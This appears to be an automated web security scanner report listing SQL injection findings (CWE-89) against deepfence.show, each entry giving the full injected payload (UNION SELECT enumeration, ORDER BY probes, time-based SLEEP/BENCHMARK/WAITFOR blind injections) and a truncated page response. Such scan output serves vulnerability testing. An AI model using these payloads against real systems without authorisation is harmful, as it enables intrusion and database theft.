hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1576
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1577
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1578
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# );waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1579
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1580
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1581
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 21--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1582
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1583
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1584
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(
500000000/2))))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1585
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ") or ("x")=("x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1586
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# "&"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1587
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1588
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1589
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+
CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+
CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+
CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)+CHAR(113),NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1590
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=
device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/
head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> 
window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start 
of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://
static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> 
</script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <
link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbW
FnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIo
qIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary hints
on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1591
